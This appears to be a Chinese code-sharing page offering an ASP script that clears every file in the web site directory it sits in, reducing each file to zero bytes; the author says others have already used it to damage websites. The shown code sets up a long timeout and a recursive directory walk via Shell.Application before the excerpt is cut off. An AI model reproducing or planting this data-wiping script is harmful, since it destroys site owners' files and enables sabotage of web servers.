首页 相关文章 自动清空站点目录下所有文件

自动清空站点目录下所有文件

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

属于无聊时的作品,已经有人利用这个破坏了一些网站了.

<%
Server.ScriptTimeout=99999
If Request("Submit")<"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set...[ 查看全文 ]

2016-01-29 标签:

自动清空站点目录下所有文件的相关文章

手机页面
收藏网站 回到头部